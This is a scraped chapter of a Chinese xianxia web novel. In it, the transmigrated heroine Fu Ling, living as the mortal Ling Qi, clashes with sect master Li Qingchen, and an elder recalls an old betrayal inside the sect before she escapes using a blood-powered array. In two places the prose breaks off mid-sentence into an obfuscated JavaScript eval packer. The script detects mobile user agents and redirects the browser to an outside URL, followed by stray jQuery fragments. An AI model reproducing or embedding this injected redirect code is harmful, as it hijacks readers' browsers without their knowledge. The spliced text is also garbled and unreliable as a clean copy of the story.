“剑宗,到底出现了第二个傅灵……” 众人心思各异,李青尘带着傅灵射入洞府,她感觉自己刚被放在了玉床上,还未等坐起来,就听到他问: “你出身凌家村,父母俱在,兄妹俱全。在祁寻两人遇到你前,甚至不曾踏出凌家村一步。过去的十八年,每一日都可证明你的清白,为何不说?!” 此时的李青尘还未完全收回灵力,气息外泄,胸膛震颤,仿佛天上的仙君终于有了人气。 傅灵的情绪还沉浸在大殿之上,她还没回过神,就听他又问: “你灵力全无,为了寻找出峰的禁制甚至被划破了腿,为了不留在洞府屡次妄图出逃,为了远离我甚至可以不进入洞府一步,为何不解释?!” 原来他什么都知道,原来他清清楚楚她就要离开这里! 傅灵啼笑皆非,甚至笑出了声,一瞬间所有压抑的情绪反扑。 “我说了就有人信吗?!” 李青尘的气息骤然一沉,身上的灵力似乎被一股风骤然压了回去。 “是你会信,还是庄天成会信?李大宗主,你明知道即便我将心剥出来都不会有人信,为何还要让我说明白呢?” 李青尘没发出半点声音,如果不是傅灵的指尖碰到了他冰凉的发丝,还以为他不存在。 一时之间,洞府内似乎只剩下了她急促的喘息声。 然而他就站在她的眼前,如同模糊的幻影。她还能看到他纤长的脖颈,还有半垂在身侧的青白的手指。 过了不知多久,对方的声音微哑: “所以你就一字不提,只想去缚仙台?” “既然没有信任,还解释做什么……” 她缓缓眨了一下眼,无力地笑了笑。其实在上辈子,自己魂飞魄散前的那一晚,李青尘来找过她,那时候的她就什么都没解释。 他缓缓踏上缚仙台,如同夜色里唯一不散的流云。对方看见她虚幻的身形,瞳孔一颤。 然后沉默地坐在旁边,听着别缘峰上的风嚎。 半晌,李青尘向来清越平稳的嗓音沙哑得如同冰凌刺穿喉咙。 “自从昨天那两个男人出现后,那道陌生的声音要带走你的灵魂后……你就一个字都没有说。你就没有事要告诉我?” 傅灵看着自己的手,还有手腕上的铁链,“没有,什么都没有……” 她确实什么都没有,她骗了他们感情是毋庸置疑的事实、骗了人就想跑也是事实。 至于什么“邪宗”的身份,反正都要死,以什么身份死去有什么区别…… 李青尘骤然转身,那一眼像是撞碎了所有的夜色,只剩无尽的暗光黑沉。 如今再与对方对视,恍惚中似乎根本没有过了一百年。她一睁眼还是那个被束缚在缚仙台上的傅灵。 “信任在你心中就如此重要。重要到干脆什么都不解释,重要到可以放弃清白,放弃过往的一切,甚至你的生命?!” 李青尘盯着她的瞳孔,吞雪含冰地问。 “对,就是如此重要。”傅灵的气息越来越急,“如果不重要,当初那个傅灵为什么会死?!” 话音一落,李青尘的瞳孔就是一缩,如同被她声音的利刃刺穿了胸膛,呼吸骤然中止,发出极低的气啸。 以至于她坐起来推向他的胸口时,指尖还能感受到倒吸气的震颤。 ——这一幕和之前她进入剑宗时又何其相像。 只是这一次,她亲眼看到李青尘踉跄了一步,猝然撞倒了他身后的灵植。 “啪”的一声,灵植摔在地上,灵气四溢,几乎模糊了两个人的脸。 傅灵在脸上感觉到了冰凉,她咬着牙擦去,干脆站了起来: “你如果信任她,又岂会让她魂飞魄散?不应该是像刚才那样,带走我一般带走她吗?!李宗主,你告诉我信任怎么会不重要?” 李青尘骤然抬起眼,眸中如同星河塌缩,急促收缩着。 他的唇瓣抿成一条线,某种让人看不清的情绪在他的瞳孔中聚散,像是即将冲破束缚化作黑沉从中溢了出来。 “……” 傅灵不敢再看,她偏过头任液体濡湿了脖颈: “我忘了,你将我带走并非是信任我,也并非是网开一面。是因为我像傅灵,你如此怨恨她,自然不会让我那么轻易地死去。所以你就要困住我一辈子!” 李青尘的喉结颤动,如同在庄天成身上使用的灵力尽数反噬到了他身上,他闭了闭眼,一字一顿地问: “你认为我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872561|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 困住你,是因为我恨你?” 傅灵笑得眼前一片迷蒙,“那不然呢?堂堂剑宗之主关着我一个小小的凡人,不让我外出一步,难道是保护我吗?这剑宗除了你,还有谁能伤到我?” 李青尘点了点头,似乎对她提出的问题格外赞叹,但脸上青白如同玉雕。 他缓缓睁开眼,问:“那如果我放你走,你会去哪里?” 傅灵刚想回答,他就接着问:“你不会回到凌家村。所以是要去魔界、还是妖界?” 他就这么看着她,那眼神似乎穿透了百年,变成了结契大典上惊骇伤心的质问。 仿佛他在问的人不是“凌七”,而是“傅灵”。 傅灵顿了顿,下意识地回避。 “我一介凡人,不回人界又能去哪里?去不了凌家村,外面天大地大,自有我的去处!” “什么去处?是被灵力再也搜寻不到的去处,还是脱离三界,碧落黄泉般的去处……” 傅灵的喉咙一梗,“你不必质问。我宁愿成为乞丐,在人界流离一生,也不会留在剑宗一刻,受人摆布!与其成为你恨意的容器,不如直接去缚仙台,死在……” 话音未落,李青尘倏然用那双翻涌晦暗的双眸看了她一眼。 她的眼前一黑,就倒了下去。 在意识消散前,她感觉自己被一双颤抖的手抱住,鼻端全是枝头落雪般的清冽。 那雪微微融化,变成一滴细雨落在她的眉心。 凉得让她以为坠入了深渊——是不是李青尘怒极,杀了她? 死就死吧,大不了下辈子做一个真正的傻子。只是以对方的谨慎,恐怕这次真的一点残魂也不会给她留了吧…… 半梦半醒间,她感觉自己的思绪混乱,浑身如同置于烈焰。 可能是她撒过太多的慌,骗过太多的人所以进入了十八层地狱。傅灵在地狱里沉默着,却也好像在刑罚之下说了很多胡话。 最后手指被细长的玉枝撑开,温润的触感以不容拒绝的力度让她平静,额头也感应到清凉。 她终于沉沉睡去。 醒来的时候,看到洞内的荧光变得昏暗,不知是什么时候了。 视线一动,一个修长的身影坐在床头,如同月下蒙辉礁石,沉默而幽静。 他的气息也格外沉静,像是月光一般洒在她的床头,傅灵的指尖一动,感觉到了轻柔而不容忽视的力道。 发过烧的身体还残留着热度的余韵,胸膛还带着哭过的颤抖,她的神智不甚清楚,不知道今夕是何年。 好像……有一天她醒来的时候,师尊就是这么坐在她的床头。 当时的她刚从人魔交界处回来,耳边还残存着一道绝望的呼喊,鲜血还留在她的手腕上。 胸膛不由得震颤,她捂住眼睛,还是止不住泪水的决堤。 她干脆用被褥蒙住头,在黑暗里发泄出所有的愧疚。 直到胸膛的郁气倾泻出来,她才慢慢从被褥里探出头。 只是一睁眼,就看到床头坐着一个修长的人影,平和如风的气息却夹着一丝霜雪般的冷。 傅灵在那一瞬间僵直了身形,大脑一片空白,以至于一个字都吐不出来。 “醒了?”李青尘微微回头,侧颜如同晨曦中的山峦。 “怎么哭了?” 傅灵过了好久才发出沙哑的声音,“师尊……你什么时候来的?” “刚到。”李青尘说,他伸出手抹去她脸上的泪水,看着指尖,“一过来就看到你躲在被褥里哭。何事让你这么伤心?” 傅灵大大地松了一口气,原来对方刚到,没有看到她在洞府内凭空出现的样子。 她咽下喉咙的梗塞,很快就想好了借口。 “我刚看了一些话本,被感动到哭了……” 李青尘微微一笑,室内玉石荧光骤亮,他露出一张愈发清隽的脸来。 两个人相处快八年,傅灵早该对他的脸习惯,现在却越来越不敢直视了。 也许是因为愧疚吧,她想。 “是那些一方消失,另一方上穷碧落下黄泉甚至不惜违抗天道也要复活的她的话本吗?那些都是出自你之手,为何今日还念念不忘?” 傅灵的脸颊骤红,“师尊……原来你知道。” 李青尘垂眸,收敛神色,“话本只不过是虚构之物,莫要太沉浸其中。” 他又道:“今日我便要离宗。追查邪宗人齐聚之地,恐会有一场恶战。” 傅灵一惊,回想原文剧情下意识地问:“你要去哪里找他们?什么时候回来?” 李青尘深深地看着她一眼,眸光深沉。 他按下她的肩,拉高被褥。 “去极南之地。邪宗人行踪隐秘,身份成迷。若想找到灭门凶手难于登天。那我只好格杀勿论,不留活口,再一一搜魂便是。所以傅灵……” 他的声音微低,却在她的耳里有些轻飘: “外面太危险,这段时间莫要出宗,待在洞府里闭关修炼,等我回来。” 他随手设下禁制,李青尘的阵法造诣虽不如她,但化境的法宝众多,傅灵知道自己是出不去了,她惊得坐起来。 “师尊?!为何不带上我,你要对付那么多人,太危险了!” 李青尘没回答,而是转过身倏然将她抱在怀里。 霎时间温凉的体温通过两人的胸膛传递,傅灵一惊,听到他在耳边带着叹意吐息: “好好待在宗门,等我回来我还有话对你说。届时,我们一起回藏锋谷……” 对方轻柔的气息好似吐在耳边的呼吸,傅灵的神智忽明忽沌,她想问对方是从极南回来了吗,于是下意识地握住对方的指尖。 “师……” 20.第二十章 掌心里的指尖骤然一紧,几乎捏痛了傅灵的手。 傅灵一惊,如梦初醒地坐起来,看到李青尘留在暗中的侧脸,想到自己刚才差点喊出前世的称呼: 师尊…… 一瞬间,鸡皮疙瘩从她的后颈爬满了全身。 她欲盖弥彰地开口:“是……李宗主吗?什么时候了?” 李青尘没有回答,沉默中,叶脉舒展、浮尘落地的声音都进入了她的耳朵。 她的掌心溢出了冷汗,就在她快坚持不住时,李青尘收回指尖,道:“第二日的下午。你生了病,昏睡了一天。” 傅灵无声地松口气,她将手收回被褥中,只觉得又似在地狱里走了一遭。 李青尘缓缓站起,他的身影沐在暮色中,清隽如玉的脸颊恍然似秋水耀金,柔和得带着暖意。 许是经历过昨天的歇斯底里,两个人竟然难得平静下来。 傅灵感觉自己身上的热度褪下了,于是轻声道:“多谢宗主为我治病。” “身上还有哪里不适?” 傅灵垂下眼睫摇头。 因为刚睡醒的原因,被褥团在了她的腰腹处。 袖口摩擦的声音响起,李青尘负手,视线落在她的头顶,倏然问: “你还是想出剑宗?” 傅灵内心一动,不知道他这个时候为什么这么问。 难道是看腻了想放她一马? 抱着一丝希望,她道:“对于旁人来说这里是修仙圣地,但对凡人来说这里无异于极寒冰川。我知道宗主留下我是因为傅灵,但是……您总看着我,难道不会心情不好吗?” 李青尘道:“我心情尚可。” 傅灵梗了梗,又道:“那也是看着‘仇人’的脸。久看对修行无益……您倒不如做一个一模一样的傀儡,剥皮抽筋、千刀万剐都可以发泄心中怒气。何必只找一个只有眼睛相似的凡人?” 李青尘没回答,半晌声音像是克制凝结的冰层: “你觉得……如果我看到真正的傅灵,我会这么待她?” 傅灵笑了笑,她这还只是放轻了说。 李青尘杀伐果断,他当初能让她烟消云散,如果她现在以真实身份站在他的面前,恐怕连灵魂的残渣都不会剩吧。 “听宗内长老说,她当年欺骗您,搅乱三界,三心二意、居心不良。您对她做什么都是可以理解的。” 李青尘沉默,流云在他的袖口翻卷,最后随着青白的指尖落在一旁的桌面上。 “你说得很对。剑宗的宗主就是如此违背天道、绝情至极的人。” 傅灵一愣,又听对方道: “当初她叫我……师尊。却从未对我惧怕一分,如今你惊惧成病,我强留你也毫无意义。明日,我就放你……” 话音未落,外面倏然传来洪钟的嗡鸣声,如同山倾海啸,隔着禁制都能让傅灵的灵魂震颤。 她的面色一变,这是剑宗的警示钟声,灵界出事了! 李青尘皱了一下眉,指尖一动就接到了一枚玉简。 秦钟焦急的声音在洞府内层层回荡: “宗主,人妖边界传来消息。妖王知道剑宗召开屠妖大会,已经率先开拔,带着所有的妖族向剑宗飞来了!” 傅灵的瞳孔一缩,苏傲过来了? “而且……”秦钟顿了一下,“他点名要您出征,说要将您碎尸万段,送给妖族品尝……” 李青尘的瞳孔如同浓墨晦暗,身上气势冷冽如冰。他捏碎玉简,随即旋身扬袖。 傅灵只觉得被一股风撞在面上,不由得跌坐回玉床上。 “待在洞府里莫动。苏傲突袭灵界,势必会造成生灵涂炭。我即去边界斩下他的狐首。” 傅灵大惊,这种惊慌不知是因为两个人即将开启一场大战,还是李青尘转瞬就让她不能出去。 她的呼吸急促,仓惶抬头: “那你放我出去!” 李青尘的视线落在她的脸上,“两界交战势必震荡整个灵界,杀气对一个凡人来说无异于剑芒!你此时出去是要送死,还是想去看妖王?” 傅灵一惊,此时管不了那么多了,她不想眼睁睁的看着所有人送死,她只有一个念头: 她必须走,马上走! 只要彻底离开这个世界,她就什么都看不见了! 她踉跄地站起来,因为起得太急眼前有些发黑: “我谁也不看!也不用你管,我已经说过我宁愿死在外面,你刚才明明都已经答应我放我离开了!凭什么说话不算话?!” 李青尘低声道:“我会放你出去,但须在我杀了苏傲回宗之后。” 他说的话傅灵再也不会信,明明就说好放了她,现在却改变主意。 她所有的期望都如同一个笑话,自己在他面前就像是可以被随意戏耍,随意掌控的蝼蚁! 李青尘是故意的,他是故意的! 刚才的平和的假象一扫而空,昨日的愤怒卷土重来。傅灵控制不住胸膛的颤抖,以至于声音有些凄厉: “如果你永远都回不来呢?难道我就要被关在这里一辈子吗?!” 李青尘骤然回头:“如果我回不来,就代表苏傲赢了,灵界覆灭。” 傅灵的呼吸一滞,他会、他会死…… 李青尘闭了一下眼,声音沉了下去。 “这个洞府里能保证你的安全,也有……你想要的一切。凌七,在这里安静待着吧。 如果我无法回来,消失的灵力也会让禁制自动消失。届时妖王看到了你……也不会和一个凡人计较,你就能获得自由了。” 这是他第一次叫出她这辈子的名字,带着一丝生疏,还有刻意的确认。 声音沉得仿佛心脏被抓着坠入海底,但是傅灵完全不想听。 她的呼吸越来越急促,看到对方转身就要飞出,巨大的恐慌和所有的情绪都冲出了喉咙: “我恨你,李青尘!” “李青尘,我恨你!!!” 李青尘的身形一顿,像是欲要蒸腾的流云瞬间被风撕个粉碎,半晌,他什么都没有说,化作金光射向远处。 大部分的剑宗弟子和百宗修士化作逆行的流星直向人妖边界而去,瞬间点燃了整片暮色。 傅灵怔怔看着,突然捂着眼睛笑出声。 李青尘的金光转瞬之间就没了痕迹,秦钟等人带着弟子紧随其后,宗门只有郭昆在镇守。 身为宗主的弟子,符骄和祁寻也不得不离开。祁寻回头看着越来越远的别缘峰,面色冷峻,而符骄看着越来越近的人妖边界,却是神思不属。 直到裘双双提醒二人专心,然后看着远远甩开他们几乎看不见金光的李青尘微微叹口气。 百年前被中止的一场战争,今日终于要拉开序幕了。 走了一大半的修士,整个剑宗骤然变得寂静。 傅灵站在禁制门口,看着越来越沉寂的剑宗,不知道还有多少人能活着回来,又不知道还有多少妖族能活着回去。 她抬起雾蒙蒙的双眼,突然问: “系统,你当初能轻易将我送往三界,为何现在不能帮我迈出这个禁制呢?” 【抱歉宿主,任务暴露后我就已经失去了所有的权限。不过现在的剧情已经完全不在原文范围内,两界交战之下,在这个洞府里是最安全的选择。】 傅灵笑了笑,她就知道在系统这里得不到什么结果。 当初灭宗之战时不也是如此吗? “不了,我还是走吧。即便能苟活下来,在这个洞府里也会变成一具枯骨。我还是继续当我的游魂就好。” 她说着,吐出口气,将李青尘从凌家村带来的茶杯摔碎。 然后看着自己光洁的掌心,轻声呢喃: “没想到最后还是要用到这一招。” 系统一惊:【宿主?!】 偌大的剑宗,长老只剩下郭昆、庄天成两个师兄弟。 执法堂内,郭昆坐在外面,看着仅有一墙之隔的庄天成,眼圈不由得红了。 “师兄,你这是何苦呢……” 庄天成的宗袍沾满鲜血,他本就布满风霜的脸更显憔悴。郭昆在外面哭得不能自已,他始终不曾抬过一次眼。 但听郭昆哭了半晌,又似不只是这件事,便问了他。 郭昆悲哀地道:“妖王带着妖族正往灵界而来,免不了一场恶战。宗主让我在此等候,如今剑宗只剩下你和我了。” 庄天成沉默了一下,道:“宗主和那个妖王有旧怨,两人没有分出胜负前不会让两界人轻易厮杀,暂且不用担心。” 郭昆叹气,“话虽如此,但人妖殊途。更何况这个新妖王比以前的妖王性情更残忍诡谲,又似与邪宗扯上了关系,我怕宗主吃亏。” 庄天成道:“邪宗……我追查邪宗人多年,知道妖族里藏着邪宗人并不稀奇,这只是李青尘想要诛杀苏傲的借口罢了。只是我不明白,他多年视苏傲无无物,为何会选在近日下手……” 郭昆一惊,他只听到了前半句,“师兄的意思是……这事儿和妖族没多大关系?” 庄天成一笑,“你以为这么多年我和双双找到的那些邪宗人都是凭空出现的吗?他们在信奉新神前,都是各个势力的中流砥柱。剑宗多年无事,是因为李青尘的威慑,但是一百年前……” 他露出恍惚的神色,郭昆对当年的事一知半解,只知道跟在师兄师姐身后,闻言便追问。 “剑宗也并不是铁桶一枚,我认识的邪宗人,除了傅灵,就是……” 庄天成的声音低了下去,瞳孔变得晦暗。 当初李青尘去往极南之地前,就交代他让他照顾好傅灵,莫要让她跑出剑宗。 他冷笑,“傅灵是你的徒弟,我为何要替你照顾她?” 李青尘的眸色变深,“她欲要与我同去极南,我此行必开杀戒,唯恐伤到她。但邪宗人行动诡谲,万一剑宗有任何异动……你的灵魂被我刻下过禁制,在剑宗里是唯一不能伤她的人。” 庄天成看着自己空荡荡的袖子,点头失笑:“果然是师徒情深,八年了还维护着彼此。” 李青尘低声道:“多谢。” 他不应,不知是以什么心情,并没有将此事放在心上。直到许久未见傅灵出现,他就去了别缘峰。 此时乌云压顶,风雨欲来。傅灵坐在洞口,看见他如同看见了再生父母。 “庄师兄,你来了便好!!快快把你的割月刃拿出来,我已经用绝灵法阵困这个禁制好久了,只要你帮我一把我就能出去了!” 庄天成皱眉,“李青尘不让你出去。” “可是我再不出去就晚了!” 傅灵倏然放大了声音,她喘了几口粗气,然后问: “庄师兄,我有不好的预感。邪宗人行踪莫测,万一杀到剑宗怎么办?我也不能坐以待毙啊,你帮帮我好不好?” “你就这么信我?” “在剑宗,你是除了师尊之外,最不能伤害我的人了。” 这两师徒…… 他帮傅灵逃脱,刚出了别缘峰,就感觉整个剑宗嗡鸣一声,就如同什么禁制已开…… 傅灵面色一白,“果然晚了。” 两人一回头,远远地望着远处白光几乎吞没了晨曦,那并非是带着暖意的阳光,而是密密麻麻的邪宗人! 庄天成倒吸一口凉气,她让他去找各长老,她先去剑宗正殿。 此时所有剑宗弟子惊叫出声,整个剑宗乱成一团。 他急急拉住她的手臂,“你是要去检查护宗法阵?那里自然有风宗主守着,剑宗不会出事的!” “就是因为他守着,所以才不放心……”傅灵低声呢喃,他听得一知半解,然后就见她射了出去。 庄天成一惊,紧随其后,追问她到底要干什么。傅灵被逼得无奈,只能道:“不能晚,不能晚,再晚了正阳真人就会被宗主……” 她的唇瓣几乎被咬出了血,然后深深地看了他一眼,“庄师兄,你莫要跟来了!正殿太过危险,你立刻去保护双双,然后等李青尘回来!” 她到底在说什么?!而且凭什么要他等李青尘?! 他不语跟着,和她冲进了正殿,却没想到看到了他这辈子也没想到的一幕: 风化雨的手正放在禁制上,随着指尖微动,护宗阵法也被缓缓打开了。 说到此处,郭昆不由得倒吸一口凉气。 庄天成笑了笑,“当年的事是个秘辛,谁都以为老宗主身陨,你如此惊讶也情有可原。当时的我比你更惊讶……” 当时的庄天成只觉得脑袋嗡鸣一声,接着就看到了倒在地上的正阳真人。 傅灵上前查探,大松了一口气。 “还活着,还好,还活着……” 他的思绪混乱,问她怎么会猜到正阳真人来此,且会受伤。 傅灵道:“其实我还会预知,在人界的时候我就靠着预知帮一个少年躲过了很多伤害。” 说完,收敛笑容,“其实是我猜的,之前的很多宗门被屠,都是因为护宗法阵失效。当年的藏锋谷便是如此。我师祖虽然最是闲散,却也最关心宗门。他肯定不放心查看,若是有内应,那么他可能就会……” 傅灵闭了闭眼,“一旦师祖出了事,李青尘就会伤心的……” 伤心到暴露了真实实力,一剑封山。 庄天成不会把她的话当真,此时风化雨继续转动着禁制方盘,将两人视为蝼蚁。 庄天成惊怒冲了上去,傅灵拉住他冲外面喊:“不好了,邪宗人闯进来了,护宗大阵消失了,正阳真人受伤了!!” 风化雨冷笑一声,“只会耍小聪明的姑娘……在他们来临之前,你们就已经是两具死尸了。” 风化雨微微抬手,庄天成就倒飞了出去。视线黑暗前的最后一秒,是傅灵挡在他身前纤细的背影…… “在、在那之后呢?”郭昆莫名嘶哑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878127|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓子问。 “在那之后,就是你知道的了——风宗主被传身陨。傅灵勉强带着我和正阳真人离开,她虽然深谙阵法之道,但却难以匹敌万千邪宗人。 就在她护着正阳真人,要被万箭穿心的时候,李青尘回来了。” 提到那日,郭昆也不由得面色恍惚,口里发干。他当初只是一个筑境小修士,对宗内秘密全然不知,却也对李宗主当初怒斩万人的场面记忆犹新。 当时知道宗主身陨,所有人没了主心骨,剑宗大乱。 他跌跌撞撞地,正巧看到傅灵挡在正阳真人身前,鲜血从额角落了下来,就在被剑芒怒指,千钧一发之际。 金光如同烈日坠落,以摧枯拉朽的力量冲开所有邪宗人,李青尘在天上隐光现身,垂眸看了傅灵一眼。 就只是一瞬间,他毫不犹豫地在眉心一抹,霎时间金光大盛,藏锋谷的不世法宝悬光剑骤然出现,剑芒化丝万千,将整个剑宗笼罩在内,所有邪宗人被厮杀了个干净。 鲜血几乎染红了他的衣袍。 众人这才惊觉,剑宗里竟然藏了一个绝世大能! 郭昆喘了一口粗气,“我对当年的事历历在目,只是没想到后面藏了这么多的曲折。风宗主为何会被你们说成身陨?你为何能活下来?傅灵明明是邪宗人为何要救下正阳真人?” 庄天成微微苦笑,“若是在那个时候让众人知道堂堂剑宗宗主就是邪宗人,那比杀了这些修士还可怕。我能活下来……也许是运气好——这是当初的傅灵对我说的,她道她用了龟息大法,让风宗主没有在意我们两只蝼蚁,但我明知不是如此,她定然是和风化雨说了什么,才保住了我和正阳真人的命。” 郭昆也有些唏嘘,“当年虽然护宗阵法被破,但听闻好在有人提前预警,倒也没有损失太多人。只是没想到会是她……这么多年,好多人都记着她是叛宗骗人的邪宗人,但是谁能想到当初的剑宗宗主都是邪宗人,大家都只怪她呢……” 庄天成也抿唇不语。 郭昆又想到一事,“以李宗主当年的敏锐,难道就没有察觉到什么吗?” 庄天成摇头,“我猜以他的谨慎,该有所察觉。但你应该知道,当年李青尘暴露了实力,欲要离开剑宗。剑宗以宗主之位相邀,他不肯,最后提出一个要求——和自己的弟子结契,昭告天下。” 郭昆哑然,他久久失声,想到那个结契大典,还有戛然而止的喜悦,一时之间百感交集。 只觉得这真是孽缘啊…… “所以,庄师兄对邪宗人如此熟悉,就认定那个傅灵的假冒者也是邪宗人?” 庄天成再次摇头,“不,她不是。我想要杀她,只是因为不想……” 话音未落,外面的弟子送来一张字条,道是别缘峰上的女子指名让交给庄长老。 庄天成皱眉一看,瞳孔一缩。 晨曦悄悄爬满了半边天空。 庄天成的袖子如同跳跃的风帆,他缓缓来到别缘峰的洞府前,远远地看到那个凡女坐在石桌旁,灰蒙蒙的眸子看了过来。 平静得让人心悸,风中不知从哪里冒出了血腥味。 李青尘拿出纸条,“只是你让人送给我的?你从哪里看到这个符号?” 那上面赫然是邪宗令牌上的符号。 裘双双与他通过气,他确定凌七没能看到令牌上的符号。 傅灵缓缓抬起头,道: “那不是符号,是一个字。” 庄天成眉心一动,傅灵道:“这个字有些邪宗人都不认识,那是一个‘灵’。” 庄天成的瞳孔骤然一缩,“你怎知道?你在胡说!还是因为……你就是邪宗人?!” 傅灵咽下一口热茶,将手背在身后,“不,是元宗。在元宗人看来,你们才是邪魔外道,他们才是天地正统。” 庄天成的额上青筋直跳,“果然……一个凡女知道什么是‘元宗’,你果然来路不正!我应在见你第一面就杀了你。” 傅灵摇头笑出声,“庄长老何必如此动怒,我能让您看出来,还把您叫过来,是为了做一个交易。” 庄天成眯眼,傅灵道:“只要您放我出去,我就告诉你,当初的风化雨藏在哪里。” 庄天成的呼吸都消失了,他看着眼前这个女子,只觉得头皮发麻。 “你若真是邪宗人,为何不能自行逃脱?” 傅灵走到洞府前,“因为我真的没有丝毫灵力。莫要惊讶,邪宗遍布三界,并没有说人界也不能有邪宗人。正因为我是凡人,才能安然接近李青尘。如今我被你指出了身份,他也对我没什么兴趣了,我自然要逃。” 庄天成深深地看着她,大笑出声。 李青尘啊,李青尘,前后百年竟然都栽在了邪宗手里。 若是旁人,这个交易他也就做了。但他是庄天成。 是为了斗狠能联合外宗设计自己师弟的卑鄙小人。 是为了能看李青尘笑话,对大殿里的事绝口不提的自私宗门弟子。 是为了泄愤,就对一个凡人痛下杀手的卑劣修士。 他对风化雨丝毫不感兴趣,当即迈出一步,掌心悬着割月刃,瞬间一射。 李青尘的禁制难以破开,但是这等灵力冲撞也足够一个凡人死一回了。 他如此想,却看那匕首竟然轻易穿透了禁制,就在要刺中凡女的一瞬间,他的灵魂如同被人抽筋扒皮一般疼痛起来。 庄天成惨叫一声,瞬间跪倒在地。 割月刃“啪”的一声掉在地上。 与此同时,他身上的灵力大量地流失,庄天成惊慌不已,认出了脚下的阵法—— “绝、灵、阵……” 他一字一顿,然后不可置信地看着那个凡女,对方轻易地踏出禁制。 “这不可能,这不可能!这是百年前的法阵,你明明没有一点灵力……” 傅灵微微一笑,她的脸上苍白无比,行走之时,从袖口流出鲜红的液体,一滴一滴地落在地上。 “谁告诉你们这些修士,驱使阵法要用灵力的?” 早在百年前,她就已经修炼到不用灵力了。只是太过费血,不到万不得已她不会用。 庄天成倒在地上,只能听到自己一声重过一声的心跳: “你到底、你到底是……” 视线的最后一瞬间,是对方轻柔地盖在眼皮上的指尖。 “抱歉庄师兄,又利用了你一次……我知道你想杀我,但是我还是下辈子还吧。好好睡一觉,醒了再骂我吧。” 庄天成挣扎着却睁不开眼,他在剧烈的心跳下,想要喊出对方的名字。 “我要杀‘凌七’只是觉得,剑宗只许有一个傅灵啊……” 傅灵踉跄地走了两步,她回过头,又看了身后的洞府一眼。 那种灵魂被牵扯的感觉还在,只是这一次她微微一笑,毫不在意。 迎着微风,她抬起鲜红的手掌,“终于……出来了。”